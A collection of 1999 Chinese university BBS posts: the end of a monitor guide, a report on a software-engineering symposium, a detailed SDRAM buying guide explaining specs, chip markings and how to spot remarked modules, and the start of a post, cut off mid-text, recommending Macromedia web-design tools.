直扫描频率48-120Hz。 特性评述：符合TCO92标准。智能数字多频追踪系统，多重聚焦 电子枪，价格不高。 最后，愿朋友们能买到一台理想的显示器。 飞翔鸟 于锴 1999年11月15日 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.143] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
1999年12月23日，ChinaByte和国家信息标准化委员会在北京共同召开了中国99软件工程技术研讨会。 　　会议由中国软件行业协会理事长杨天行主持。信息产业部的领导陈小筑、陈冲、韩俊及ChinaByte的总经理宫玉国、主编刘琪参加了会议。研讨会着重讨论如何按照中国国情和企业实际，引进、吸收和应用国际软件开发和管理成果、先进技术，以及如何发展我国国家软件工程过程评估标准。会议上，学部委员、科学院院士杨芙清向与会者作了题为“软件过程能力的提升”的发言，来自美国硅谷的资深软件工程师黄拱文（笔名海龟）也向大家介绍了“渐进式软件开发模式及CMM的研究”的一些理论知识。摩托罗拉中国公司和朗讯科技（中国）贝尔实验室的代表还介绍了他们在推广和实现CMM过程中的经验和教训。其他的专家学者也做了专题发言。 　　软件（工程）过程研究的是：如何按时、按预算及按用户需求去开发出好软件。全世界的软件工业界，正日益深刻地理解到它的重要性。在这个领域里，新的理论与实践的成果不断涌现。利用这些知识，认真学习、灵活应用、加以创新，就是中国软件产业赶超世界水平的途径。 　　软件工程过程的建立、管理与改进，是当前中国民族软件产业急需进行的关键一步。许多软件企业发现，缺乏现代的管理技术严重地阻碍了他们产品的提升及业务的进一步发展。 　　软件工程的水平是整个软件产业的根本性决定因素。作为IT行业的知名站点，ChinaByte在国内第一家特地为软件工程开设了专栏，介绍国外的先进的软件工程理论、技术与管理经验，帮助国内软件行业把高科技理论推向产业应用， 　　为适应国际贸易的需要以及软件开发与应用市场的国际化，促进我国软件工程与质量水平，ChinaByte中文网站和全国信息技术标准化委员会（CITS）决定共同召开这个研讨会。 　　会议为期一天，近二百人参加了这个研讨会。
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: huxley (Roy), 信区: Hardware 标 题: ★硬件选购系列之内存篇★ 发信站: 日月光华站 (Sun Aug 15 14:11:52 1999) , 转信 (飞翔鸟硬件资讯站 birds.bta.net.cn) 在个人电脑日新月异的今天，各种新科技、新工艺不断的被用到微电子 领域中，CPU的主频几个月就能翻一番，上到一个新高度，然而为了能让微机 发挥出最大的效能，内存作为个人电脑硬件的必要组成部分之一，它的地位越 发重要起来。在现在看来，内存的容量与性能已成为决定微机整体性能的一个 决定性因素，因此为了提高个人电脑的整体性能，给你的机器喂够足够的内存 就成为问题关键之所在了。而如今不少人都认为内存的配置与选购较为简单， 对它的重视程度不够，所以在选择上很随意，因此造成了一些诸如不明原因 “死机”等不必要的麻烦。如果在选购前能多了解一些关于内存方面的知识， 无论是在选购还是在使用中就都能够有的放矢了。 就当前的个人电脑而言，可选择的内存类型还是较为有限的，如今的形 势大概是这样的：FPM DRAM 已经基本消失，EDO DRAM也逐渐将市场让给了 SDRAM，SLDRAM的命运是出师未捷身先死，对于已经露面的Rambus DRAM来 说，它还深处高阁之中，不过在Intel以为首的一些厂家的推动下它很有可能 成为下一代内存的代表，而一些新型内存DDR、VCM和DDRⅡ也是有可能在今后 主宰一部分市场。而今之计，只有SDRAM才是一支独秀，才真正是目前个人电 脑的座上客。在频率规范方面，不久前已联合了三星、现代、日立、西门子、 Micron和NEC等数家在半导体和微电子领域的著名厂商的威盛公司已顶住了 Intel的强大压力，已经正式推出了PC133 SDRAM规范。但是从目前的市场来 看，一是PC133 SDRAM的产品还鲜能看到，另一方面就是PC133 SDRAM是不是 一种过渡性产品呢，很多人还处在观望的态度上，好之者寥寥。而它的大多数 购买者不过都是一些超频爱好者和硬件发烧友，他们为了能让总线的频率上到 133甚至150才簇拥而上PC133的。再从另一侧面来看，威盛是赶在Intel之前 推出PC133标准的，而对于Intel和AMD等CPU厂商来说，它们还没能拿出支持 相应外频的CPU来，所以对于大多数普通用户来说，过早的去追求PC133 SDRAM也是没有必要的。所以现在基于PC100标准的SDRAM内存仍是我们选购的 重点，在此它也是这篇文章中要介绍的重点内容。本文介绍一些与内存和内存 选购有关的知识，然后针对不同品牌内存产品，对它们标记与型号的辨认和识 别方面进行介绍，最后结合目前内存市场及其发展方面的情况就它的选购与注 意事项进行论述，希望能对大家有所帮助。 一.关于内存 I. 常见内存。目前市场上常见的内存有以下几种： FPM（FastPageMode）RAM也称“快页 模式内存”，是用于486及奔腾级 的计算机使用的普通内存，为72线，5V电压，带宽为32bit，速度基本都在 60ns以上，目前已渐被淘汰，市场上的产品甚少；EDO（ExtendedDataOut） RAM也称“扩展数据输出内存”与FPM RAM有基本相同的应用范围，有72线和 168线之分，5V电压，带宽32bit，速度基本都在40ns以上，目前处在被淘汰 的边缘，市场上的存货也普遍不多了。由于奔腾及其以上级别的数据总线宽度 都是64bit的，所以在使用中EDO RAM与FPM RAM都必须双条用。因为EDO RAM 取消了扩展数据输出内存与传输内存的两个存储周期之间的时间间隔，即缩短 了等待输出地址的时间，所以在大量存取操作时，可以大大地缩短存取时间， 效率提高了20—30%；SD（SynchronousDynamic）RAM也称“同步动态内 存”，都是168线的带宽64bit，3.3 V电压，最新的产品速度可达6ns，是目 前市场上的主体产品。它的工作原理是将RAM 与CPU以相同的时钟频率进行控 制，使RAM和CPU的外频同步，彻底取消等待时间，所以它的数据传输速度比 EDO RAM又至少快了13％。 II. 评价SDRAM的标准。 1.时钟周期。它代表SDRAM所能运行的最大频率。显然这个数 字越小说明SDRAM芯片所能运行的频率就越高。对于一片普 通的PC-100 SDRAM来说，它芯片上的标识-10代表了它的运 行时钟周期为10ns，即可以在100MHZ的外频下正常工作。 根据某厂家的产品表我们可以得出这种芯片存取数据的时间 为为6ns。 2.存取时间。对于EDO和FPM DRAM来说，它代表了读取数据所 延迟的时间。目前大多数SDRAM芯片的存取时间为5、6、 7、8或10ns。这可不同于系统时钟频率，它们二者之间是 有着本质的区别的。比如一种LG 的PC-100 SDRAM，它芯片 上的标识为-7J或-7K，这代表了它的存取时间为7ns。而许 多人都把这个存取时间当作了它能跑的外频了，其实它的系 统时钟频率依然是10ns，外频为100MHz。 3.CAS的延迟时间。这是纵向地址脉冲的反应时间,也是在一 定频率下衡量支持不同规范的内存的重要标志之一。比如现 在大多数的SDRAM（在外频为100MHz时）都能运行在CAS Latency = 2或3的模式下，也就是说这时它们读取数据的 延迟时间可以是二个时钟周期也可以是三个时钟周期。（当 然在延迟时间为二个时钟周期时，SDRAM会有更高的效 能。）在SDRAM的制造过程中，可以将这个特性写入SDRAM 的EEPROM （就是SPD）中，在开机时主板的BIOS就会检查 此项内容，并以CL=2这一默认的模式运行。 4.综合性能的评价。对于PC 100内存来说，就是要求当CL=3 的时候，tCK （System clock cycle time）的数值要小 于10ns、tAC（Access time from CLK）要小于6ns。至于 为什么要强调是CL=3的时候呢，这是因为对于同一个内存 条当成设置不同CL数值时，tCK的值是很可能不相同的，当 然tAC的值也是不太可能相同的。关于总延迟时间的计算一 般用这个公式：总延迟时间=系统时钟周期*CL（CAS Latency）模式数+存取时间，比如某PC100内存的存取时间 为6ns，我们设定CL模式数为2（即CAS Latency=2），则 总延迟时间=10ns*2+6ns=26ns。这就是评价内存性能高低 的重要数值。 III. 奇偶校验（Parity）、非奇偶校验（Non-Parity）、ECC和SPD。 比特（bit）是内存中的最小单位，也称“位”、它只有两个状态分别以1和0 表示。我们又将8个连续的比特叫做一个字节（byte）。非奇偶校验内存的每 个字节只有8位，若它的某一位存储了错误的值，就会使其中存储的相应数据 发生改变而导致应用程序发生错误。而奇偶校验内存在每一字节（8位）外又 额外增加了一位作为错误检测之用。比如一个字节中存储了某一数值（1、 0、0、1、1、1、1、0），把这每一位相加起来（1+0+0+1+1+1+1+0=5）。若 其结果是奇数，校验位就定义为1，反之则为0。当CPU返回读取储存的数据 时，它会再次相加前8位中存储的数据，计算结果是否与校验位相一致。当 CPU发现二者不同时就会发生宕机，下面你要作的就是重新启动计算机了。虽 然有些主板可以使用带奇偶校验位或不带奇偶校验位两种内存条，但注意两种 不能混用！ECC （Error Checking and Correcting）内存，它也是在原来 的数据位上外加位来实现的。如8位数据，则需1位用于Parity检验，5位用于 ECC，这额外的5位是用来重建错误的数据的。当数据的位数增加一倍， Parity也增加一倍，而ECC只需增加一位，当数据为64位时所用的ECC和 Parity位数相同（都为8）。这就是为什么内存制造商用一对或几对36位内存 模块造就ECC。在那些Parity只能检测到错误的地方，ECC实际上是可以纠正 绝大多数错误的。若工作正常时，你不会发觉你的数据出过错，只有经过内存 的纠错后，计算机的操作指令才可以继续执行。当然在纠错时系统的性能有着 明显降低。SPD(Serial Presence Detect串行存在探测)，它是1个8针的 SOIC封装（3mm*4mm）256字节的EEPROM（Electrically Erasable Programmable ROM电可擦写可编程只读存储器）芯片。型号多为24LC01B， 位置一般处在内存条正面的右侧，里面记录了诸如内存的速度、容量、电压与 行、列地址带宽等参数信息。当开机时PC的BIOS将自动读取SPD中记录的信 息，如果没有SPD，就容易出现死机或致命错误的现象。它是识别PC100内存 的一个重要标志，也是一个必要条件（即有之则不一定是，无之则肯定不 是）。现在个别厂商一方面为了降低生产成本，另一方面又要从表面上迎合 PC100标准，就在PCB板上焊上一片空的SPD。这样就有可能导致100MHz以上 外频不能正常工作，应该注意的是一些厂商出的主板一定要BIOS检测到SPD中 的数据才能正常工作，而对于内存上假的SPD来说，就会有不兼容或死机的现 象出现——这是更应该注意的！ IV. 关于PC100与PC133规范 1.PC100 SDRAM规范包含：内存条上电路的各部分线长最大值 与最小值；电路线宽与间距的精确规格；保证6层PCB板制 作（分别为：信号层、电源层、信号层、基层、信号层）， 具备完整的电源层与地线层；具备每层电路板间距离的详细 规格；精确符合发送、载入、终止等请求的时间；详细的 EEPROM编程规格；详细的SDRAM组成规格；特殊的标记要 求；电磁干扰抑制；可选镀金印刷电路板。 2.对规范的说明：内存条看似简单，其实它也是一种极为精密 的半导体产品，制造的要求当然不能就是简单和随意的了。 对一些数据的精准要求是为了保证内存对外能有很好的稳定 性、兼容性与适用性，对内能有很好的一致性的。在做工与 制造工艺上的要求也是为了是只能达到一定的标准的必要条 件。虽然一些小厂生产的内存也使用的是高质量芯片，如 LG、Hyundai、NEC、 Micron、Hitachi等，但它们所用的 印刷电路板（PCB）的质量却很差，这就是普通SDRAM内存 条与高档SDRAM内存条之间的最大差异。要知道高档的 SDRAM芯片配高质量的PCB跟配普通PCB板相比其间的性能当 然是不可同日而语的。在印刷电路板上节约成本，往往会带 来信号在传输中不稳定、易受干扰、易丢失等各种问题。为 了降低材料成本，一些厂商制造SDRAM内存条使用的是4层 PCB板而不是推荐的6层板或8层板。4层板的做工是很容易 受到物理与机械损害的影响的，它对电磁干扰的屏蔽能力也 不如6层板或8层板好。所以PC100规范才明确定义出了必须 使用6层或更多层电路板进行制造。Intel对PC-100规范的 要求是：当主板外部时钟频率为100MHz，且BIOS选项中CAS Latency设为2时，要求PC-100 SDRAM能稳定地与主板同步 工作。虽说CAS设为3时，系统的稳定性可以得到进一步加 强，但标准应该是2，而不是3！ 3.对于PC133规范来说，它的进一步要求是tAC不超过5.4ns、 tCK不超过7.5ns（对于PC100，这两项都是10ns）、稳定 的工作频率为133MHz，所以对于PC133 SDRAM，若没有特 别标明，大都是指CAS Latency=3，如果在CL设为2、跑 133MHz的外频时发生错误，就不要认为这条内存有问题， 因为PC-133的规范并不保证CL一定要等于2，所以能不能在 150MHz（CL=3）下稳定运行，也是不确定的。 二.关于内存标识的识记与相关产品。 在此我们先从总体上介绍一下内存标注的普遍规律，再根据不同品牌产 品的标注特点进行介绍，并列举出一些市场上常见的各种品牌的内存产品来。 在内存芯片的标识中通常包括以下几个内容：厂商名称、单片容量、芯片类 型、工作速度、生产日期等，其中还可能有电压、容量系数和一些厂商的特殊 标识在里面。如以“??xxx64160AT-10”为例，最前面的“??”代表的是芯 片生产厂商的标志，厂商代号如下：HY（Hyundai现代电子)，AAA(NMB), GM(LG-Semicon), HYB(Siemens西门子), LH(SHARP), KM或M(Samsung三 星)，M5M(Hitsubishi)，MB(Fujitsu), MCM(Motorola), MN(Matsushita)，MSM(OKI), MT(Micron)，TC或TD(Toshiba东芝)， TI(TMS德州仪器)，HM(Hitachi日立)，TM(STI), uPD(NEC)，NN(NPNX)， BM(IBM)；xxx代表厂商的内部标识；64是指64Mbit的容量（注意是 bit[位]，而不是Byte[字节]）；16表示每块小芯片的位数是16位，对于现在 64位的总线系统来说，至少需要4片这样的芯片才能构成可用的SIMM内存条。 这时候这条由4片小芯片构成的SIMM内存条容量是64Mbit/8*4=32MB，它就是 32MB一条的内存。如果SIMM内存条上有8片这样的小芯片，当然就是64MB一条 的内存。如果SIMM内存条上只有2片这样的小芯片，就必须要两条SIMM内存条 同时使用才能满足总线宽度的要求：16bit*2片*两条=64bit的总线宽度--这 在上面已经提及的；0表示这是一条SDRAM；在“-”后的数字表示芯片的系统 时钟周期或存取时间。通常在“-”前的第一个数字标示的是内存的类型标 识，单数是EDO RAM，双数则是SDRAM。 对于PC 100内存产品的编号一般表示为：PCX-ABC-DEF的形式。X代表工 作频率，66MHz或100MHz等；A代表最小的CAS Latency数，时钟数一般为2或 3；B代表最小的tRCD（RAS相对CAS的延时）时间，时钟数一般是2；C代表最 小tRP（RAS预充电时间），时钟数一般是2；D代表最大tAC（Access time from CLK）时间，多为6ns、7ns等数值；E代表SPD的版本号V1.2；F是一个 保留值为0。 下面就来介绍一下常见的内存厂家的产品及其标识的意义，并连带说一 些芯片之间优略的比较。其中一些注出的超频极限内存信息为小道消息，仅供 参考。 ~~~~~~~~ ~~~~ ~~~~ I. LGS（LG-Semicon）： 标准 型号 CAS 超频极限 —————————————————————————— PC 100 GM72V66841CT-7J 3 133 —————————————————————————— LG8 (CT8) 2 124 —————————————————————————— -7J/-7K 3 112 —————————————————————————— -8 3 133 —————————————————————————— GM72V56441BT/BLT GM72V56841BT/BLT 3 133 —————————————————————————— GM72V28441AT/ALT GM72V28841AT/ALT 3 133 —————————————————————————— GM72V661641C T-7J —————————————————————————— GM72V16821D T-7K —————————————————————————— PC 66 -10K 3 112 —————————————————————————— 　GM72V161621ET 3 143 —————————————————————————— PC 133 GM72V281641AT/ALT 3 143 —————————————————————————— GM72V561641BT/BLT 3 133 —————————————————————————— -75 3 133 —————————————————————————— -7 3 142 —————————————————————————— 注意：-10K不是PC 100的产品！-7K和-7J 不是PC 133的产 品！-8的性能比-7K和-7J都要好，且-7K比-7J的性能要好一点 儿，要是-7J的条子后有AG2/3/4/6的字样，那么AG2的最好，AG6 的最差！通式：GM72V ab cd e 1 f g T hi。 ab：容量（Mbit） cd：数据位宽（位） e：内存条包括的Bank数 f：内核的版本号（越往后越新，可为空白） g：若是“L”就是低功耗，普通型则为空白 hi：速度 II. 现代电子（Hyundai） 标准 型号 CAS 超频极限 —————————————————————————— PC 100 -8 3 125 —————————————————————————— HY57V658020TC-10 3 112 —————————————————————————— -10S 3 112 —————————————————————————— -10P 3 112 —————————————————————————— HY57V1294020 　 —————————————————————————— HY57V651620ATC-10P —————————————————————————— HY57V658020ALTC-10P —————————————————————————— HY57V168010C TC-10P —————————————————————————— HY57V168010C TC-10S —————————————————————————— HY57V658020A TC-10S —————————————————————————— HY57V651620A TC-10S —————————————————————————— PC 66 HY57V168010A TC-10 3 112 —————————————————————————— HY57V168010B TC-10 3 124 —————————————————————————— TFG-10 3 103 —————————————————————————— T-10K 3 100 —————————————————————————— 10B-TC10 3 100 —————————————————————————— 注意：-10不是PC 100的产品！-8的性能比-10P和-10S都要 好！通式：HY5a b cde fg h 0 i j kl-mn。 5a：芯片类型，57为SDRAM；5D为DDR b：电压，V为3.3v，U为2.5v，空白为5v ced：容量（Mbit）和刷新速度（k Ref.） fg：数据位宽（位） h：内存条包括的Bank数，1、2、3分别为2、4、8个Bank 0：INTERFACE界面，0：LVTTL；1：SSTL(3)；2：SSTL_2；3： Mixed Interface； i：内核的版本号（越后越新，可为空白） j：若是“L”就是低功耗，普通型则为空白 kl：封装形式的编号 m：速度 n：通常P比S的好一些 III. 三星电子（Samsung） 标准 型号 CAS 超频极限 —————————————————————————— PC 100 KMXXXSXXXXBT-G8 3 139 —————————————————————————— KMXXXSXXXXBT-G7 3 133 —————————————————————————— KMXXXSXXXXBT-8 3 125 —————————————————————————— KMXXXSXXXXBT-H 2 100 —————————————————————————— KMXXXSXXXXBT-L 3 100 —————————————————————————— KM48S8030CT-G7 3 143 —————————————————————————— KM48S8030BT-GH 2 133 —————————————————————————— -GL 3 112 —————————————————————————— KM 48S8030CT-G8 3 133 —————————————————————————— KM44S64230AT-GL —————————————————————————— KM48S8030BT-GL —————————————————————————— KM48S2020CT-GL ES —————————————————————————— PC 66 KMXXXSXXXXBT-10 3 100 —————————————————————————— -G10 3 103 —————————————————————————— -G12 G2 3 100 —————————————————————————— PC 133 KM48S8030CT-GA 　 —————————————————————————— 注意：-10不是PC 100的产品！-8的性能比-GL和-GH的都要 好！KMXXXSXXXXBT-G7是真正的支持7ns的SDRAM，能是在CAS为3 下稳定的工作，-GH系列也是很好的产品。 通式：KM4 ab S cd 0 e f gT-h ab：数据位宽（位） ab*cd=容量（Mbit） e：内存条包括的Bank数，1、2、3分别为2、4、8个Bank f：内存接口，0=LVTTL、1=SSTL g：内存版本，空白=第1代、A=第2代、B=第3代 T：封装类型，T = TSOP II (400mil) h：电源供应，G=自动刷新、F=低电压自动刷新 IV. 日立（Hitachi） 标准 型号 CAS 超频极限 —————————————————————————— PC 100 HM5264165TT-B60 3 112 —————————————————————————— HM5264805TT-B60 　 —————————————————————————— PC 66 HM5216805TT-10H 3 112 —————————————————————————— 通式：HM 52 ab cd 5 e f TT-gh ab：容量（Mbit） cd：数据位宽（位） e：内核的版本号（越后越新，可为空白） f：若是“L”就是低功耗，普通型则为空白 V. NEC 标准 型号 CAS 超频极限 —————————————————————————— PC 100 μPD4564841G5 2 133 —————————————————————————— A10-JF 2 124 —————————————————————————— -80 3 124 —————————————————————————— -10 3 112 —————————————————————————— -A80 3 133 —————————————————————————— μPD4564821G5-A10-9JF 3 125 —————————————————————————— μPD4564821G5-A80-9JF 3 125 —————————————————————————— μPD4564841G5-A10-9JF 　 ——————————————————————————　 μPD4564163G5-A10-9JF —————————————————————————— PC 133 -A70 —————————————————————————— -A75 —————————————————————————— PC 66 μPD4516821G5 3 100 —————————————————————————— -10B 3 100 —————————————————————————— -12 　 —————————————————————————— 注意：-12不是PC 100的产品，-10B也不是PC 100的产品！ 但-10B的性能要比-12的好！-80的性能要比-10的性能要好！ 通式：D45 ab c d eG5-Afg h-ijk ab：容量（Mbit） c：数据位宽（位） d：内存条包括的Bank数，3、4都表示4个 e：内存接口，1=LVTTL VI.东芝（Toshiba） 标准 型号 CAS 超频极限 —————————————————————————— PC 100 -80H 3 124 —————————————————————————— MC16V64E8S4G8T 2 124 —————————————————————————— TC59S6408BFT-10 2 124 —————————————————————————— TC59SxxxxBFT(x)-80 3 125 —————————————————————————— TC59SM716FT-80 　 —————————————————————————— TC59S6416BFT-80 —————————————————————————— TC59S6416BFT-80 —————————————————————————— A56877 　 —————————————————————————— PC 133 TC59S6404BFT-80A 　 —————————————————————————— TC59S6408BFT-75 　 —————————————————————————— 注意：-10不是PC 100的产品！ 通式：TC59S ab cd e FT f-gh。 ab：容量（Mbit），M7为128Mbit cd：两位都代表数据位宽（位） e：内核的版本号 f：若是“L”就是低功耗，普通型则为空白 VII. 富士通（Fujitsu） 标准 型号 CAS 超频极限 —————————————————————————— PC 100 MB 8UV64B4C-10xT-S 2 112 —————————————————————————— MB 81F64842B-103FN —————————————————————————— MB 81F641642B-103FN —————————————————————————— MB 81F16822B102FN —————————————————————————— PC 66 MB 81117822A-100 3 103 —————————————————————————— 通式：MB81 a bc de f2 g-hij k FN a：F为符合PC 100规范的产品，1为符合PC 66规范的产品 bc：容量（Mbit） de：数据位宽（位） f：内存条包括的Bank数 g：内核的版本号（越后越新，可为空白） k：若是“L”就是低功耗，普通型则为空白 VIII. 三菱（Mitsubishi） 标准 型号 CAS 超频极限 —————————————————————————— PC 100 M5M4V64S30ATP-8 3 124 —————————————————————————— M5M4V64S40ATP-8 3 112 —————————————————————————— -8A 3 124 —————————————————————————— -7 3 112 —————————————————————————— M2V64S30BTP -8A 3 125 —————————————————————————— M5M4V16S30DTP-8 —————————————————————————— M5M4V64S40ATP-8 —————————————————————————— PC 66 M5M64S30ATP-8 3 103 —————————————————————————— -10 —————————————————————————— 注意：-10不是PC 100的产品！通常-7要比-8 的性能要好 一些，-8A的性能也比-8的性能要好！-7K比-7J的性能要好！ 通式：M4 V ab S c 0 d TP-ef g ab：容量（Mbit） c：数据位宽（位），2、3、4分别代表4位、8位、16位 d：内核的版本号（越后越新，可为空白） g：若是“L”就是低功耗，普通型则为空白 IX. 西门子（Siemens） 标准 型号 CAS 超频极限 —————————————————————————— PC 100 AT-8 2 124 —————————————————————————— -AT10 3 112 —————————————————————————— HYB39S64160AT/ATL -8 3 125 —————————————————————————— HYB39S64xxxAT/ATL -8B 3 100 —————————————————————————— HYB39S16800CT-8 —————————————————————————— HYB39S64800AT —————————————————————————— PC 66 HYB39S64160AT-10 2 112 —————————————————————————— HYB39S16800T-8 3 103 —————————————————————————— AT-10 3 100 —————————————————————————— 通式：HYB39S ab cd 0 e T f -g ab：容量（Mbit） cd：数据位宽（位） e：内核的版本号（越后越新，可为空白） f：若是“L”就是低功耗，普通型则为空白 X. 麦康（Micron） 标准 型号 CAS 超频极限 —————————————————————————— PC 100 MT48LC8M8A2 TG-8C 3 133 —————————————————————————— -8b 3 112 —————————————————————————— MT48LC8M8A2TG-8A/B/C 3 125 —————————————————————————— MT48LC8M8A2TG -8D/-8E 3 125 —————————————————————————— PC 133 MT48LC8M8A2TG-75 3 150 —————————————————————————— PC 66 MT48LC2M8A1 TG-10S 3 124 —————————————————————————— 注意：-10不是PC 100的产品！-8B、-8C和-8E的性能相差不多，但 -8E的版本最新最好！通式：MT48 ab cd M ef Ag TG-hi j。 ab：芯片类型，LC为SDRAM；46V为DDR cd*ef=容量（Mbit） ef：数据位宽（位） Ag：AX代表Write Recovery（tWR），A2为tWR=2CLK i：内核的版本号（越后越新，性能越好） j：若是“L”就是低功耗，普通型则为空白 三.选购与注意事项 I. 关于品牌与市场。多年来，我们对内存品牌的认识存在误区，也就是 经常把生产内存芯片的厂商和真正生产内存条的厂商搞混。我们通常说的 LG、现代等名称都是指生产这个内存条上芯片的厂商名称，而不是真正生产 这个内存条的厂商。难道像LG、现代这些大公司就真的不生产内存条吗？其 实也不是的。对于这些大公司来讲，他们大量的生产这样的内存芯片，然后对 这些芯片进行品质的检查，对其中性能极为优异的产品都是自己留下来，以自 己生产内存条之用，当然就是打着自己的牌子卖出去的。而将其中较少的一部 分产品也来供给一些如KINGMAX（胜创科技）等知名的内存厂商来制造内存 条。所以这些内存芯片厂商自己生产的内存个个都是相当好的产品，但他们的 价格也是不同寻常的。而我们平常见到的内存条当然都不是他们的产品，只是 一些台湾或大陆的公司生产的，所以无论在所用芯片还是内存的制造工艺上都 是有一些差距的。 II. 认清标识、鉴别质量、防止假冒伪劣的产品。对内存上所印的标识 的辨认是选购内存中最为重要的一点。如前所述，尤其要注意一些非正常标识 的含义，如LGS的-7J/-7K不是7ns的内存、三星和现代等-10的内存不是PC 100的产品等等，只有认清、记清这些才不会被一些奸商所骗，不至于迟了亏 自己都不知道。如今的内存市场已经较以前规范了许多，Remark的产品已经 很少了，但是至今仍有相当一部分内存条是在手工作坊里“攒”出来的，当然 这些缺乏质量保证的内存是根本不能胜任高稳定性与超频的需要的。更有甚 者，将一些报废“垃圾板”上的芯片进行重新组装生产新的内存，这些劣质的 内存条不仅印刷电路板的薄厚不同，而且做工粗糙、边缘参差不齐，有的还带 有毛刺。对这些劣质内存除了从以上这些做工方面能鉴别以外，还有就是能从 内存条的芯片上进行鉴别：在正规生产条件下内存所用的芯片都应该是同一型 号的产品，当然只可以允许在生产批次上有些微小的差别，而对品牌型号来 讲，是不允许有差别的。所以要是见到了一个内存条用了不同型号的内存芯 片，甚至是不同厂商的芯片的话，那么它肯定不是一个可靠的产品！此外，这 些劣质内存的生产成本低，故在价格上也有一定的优势，肯定要比正常渠道的 产品的价格低，而且要低的不止几元，所以在选购时也要注意那些明显的低价 位内存产品最好不要去购买，除非有朋友告诉你某某产品物美价廉。对于 KINGMAX等采用Tiny－BGA封装的内存产品，有着封装体小、易于散热、支持 更高频率和抗干扰性能强等优点，市场上是没有假货的，价格比普通内存稍贵 一些，但是性能很好，在选购中也易于识别，可以作为超频爱好者们应该选择 的一种产品。对于假货，也有一些可以讨论的东西。首先奸商们作假的目的很 简单，就是将高时钟周期的内存芯片Remark成低时钟周期的产品，再以低时 钟周期产品的高价卖出，赚取其中的差额。所以这种Remark肯定都是在一品 牌不同时钟周期的产品间进行的，而且要有一定的价格差存在才行，要知道 Remark也是需要成本的，差价太小作Remark的意义显然不大，更何况这还要 冒一定的风险呢！对芯片而言，要保证高时钟周期的芯片能以低时钟周期运 行，比如要将某PC 100的产品Remark成PC 133的，必须要保证它也能在 133MHz下基本稳定的运行。如果不能稳定运行的话，消费者肯定会找他更换 的，所以奸商卖不出去Remark后的产品也是没用的！至于Remark过程，这与 CPU的Remark基本类似，都是要先把原来的标记打磨掉，再印上新的标记。所 以仔细察看内存芯片的表面是否有打磨过的痕迹，用眼看看、用手摸摸芯片上 的字迹是否在芯片的表面之上（就是凸出的），而不应该在表面之下（凹陷 的）——这些都是鉴别Remark的要点。好在现在市场上的内存产品的Remark 现象和伪劣现象已经很少了，这也都是因为现在内存价格过低，利润极薄的原 因。至于内存条上是假SPD的，倒是有一小部分。这大致可以从两点进行判 断，一是仔细观察在电路板上从SPD处引出的线是否是引到插口的针脚上或是 与芯片相连了，若连线多为中途就无缘消失了的，则其中必然有诈，这招儿对 于假的或空的SPD就无济于事了。另一方法当然就是上机去试（只有这招儿是 最灵了），当然你的主板要支持SPD才行：在BIOS中将RAM中关于SPD的选项设 为“AUTO”，若是开机不能启动、内存报错或是100MHz的外频不能正常稳定 的运行，这都说明SPD为假的。要再想进一步的鉴别，就可以将BIOS中的CL设 成3，重开机后看是否有Suggested SDRAM CAS Latency time is "2"的字 样或是相关的信息出现，要有就没问题了。其实SPD的问题并不重要，它对于 内存条的正常使用是无关大雅的，对于有假SPD的内存用户来说，在BIOS中去 掉自动检测的设置，采用手工设置的方法就行了。对于PC 133标准的内存的 选购，只要大家注意标记的识别就行了，另外回来试一下，将CL设成3，能在 133MHz的外频下稳定的运行也就没问题了！ III. 注意保护。对于内存这种高集成度的半导体产品来讲，在选购和运 输中注意保护也是很重要的。在猛烈的振动和撞击的情况下，都是会导致内存 条折寿甚至报废的。比如就是说一内存条可以在正常情况下CL=3时稳跑 133MHz，但是不小心摔了一下后，可能在CL=3时只能跑100MHz了，这都是可 能的——所以防止摔、振很重要；还有一点就是静电对内存条的危害，人体或 某些物品（尤其是电器产品）带的静电也很有可能将内存的芯片击伤、击坏， 所以尽量用柔软、防静电的物品包裹内存条，注意用手触摸它时要先触摸一下 导体，使手上的静电放出，轻拿轻放。 飞翔鸟 孔明 1999年8月14日 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.169] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Internet精华区文章阅读 -------------------------------------------------------------------------------- 发信人: srcap (垃圾), 信区: Internet 标 题: *** 网面制作顶尖软件 *** 发信站: 日月光华站 (Thu Mar 25 14:13:36 1999) , 转信 以下来自偶的信箱： 　　歪歪以为，如果要提升自己的主页制作功力，一定要采用 Macromedia 公司的梦 幻组合 (Dreamweaver 2.0 主页制作软件、Flash3 矢量图和 Web 动画制作软件以及 Fireworks2.0 Web 图形制作软件)。下面歪歪就对这三个软件逐一介绍。 ★Dreamweaver 2.0 　　这可以说是歪歪目前见过的最好的网页编辑工具，可以用它做出很专业的网页来， 它像 FrontPage98 一样所见即所得，但是绝对不会有 FrontPage98 那么多的乱码，内 置的多项强大功能，让你很轻松地做出各种交互式的网页和动态效果。Dreamweaver 2.0 最大的优点在于开放式的插件功能，你可以使用各种外挂的插件来增强你的 Dreamweaver 2.0。 　　关于插件的安装很简单，首先下载插件，将它解压到 Dreamweaver 2.0 的安装目 录中的 Configuration/Objects/New/ 目录中(注意 NEW 是新建的目录)。然后重新启动 Dreamweaver 2.0 就可在菜单上的 Insert 中找到。歪歪给大家推荐几个很好的插件。1. 制作资源管理器式菜单的插件可以轻松地做出像资源管理器一样的菜单，让网页有个 全新的界面。2.浮动层的插件让你很容易做出浮动的层，无论窗口怎么移动，这个层 都会显示在固定的位置，总是跟着窗口走。3.show－hide layers 插件可以制做出如下 的效果：当你的鼠标移到一个对象上面时，会在指定位置出现这个对象的说明，移到 另一个对象时指定位置又会出现该对象的说明，但平时这些说明是隐藏的。4.浏览器 的判定和动作插件是很实用的一个插件，它可以自动检查浏览者的浏览器版本，并且 可以设定根据不同的浏览器版本自动转向到不同的链接，这对于一些制作 Flash3 网页 的朋友非常有用，这样就不会让一部分浏览者无法看到站点的内容了，因为低版本的 浏览器都不支持最新标准，所以在很重要的页面上加上一个检查是很有必要的。5.改 变菜单的制作插件。大家一定注意到网上有很多主页的菜单都是有动态效果的，鼠标 移上去菜单就会产生变化，鼠标离开菜单，又恢复原状，以前我们做这种菜单首先需 要找一段 JAVASCRIPT 源码。现在 Dreamweaver 2.0 版本里集成了一个插件，叫做 rollover image，用它可以很轻松地完成改变菜单的功能，你只需要选择插入该插件， 并且将需要的两幅图的地址填入到相应的位置即可。以上所有插件都可以在小熊站 (http://bruin.soim.net找到使用教程和下载。 ★ Flash3 　　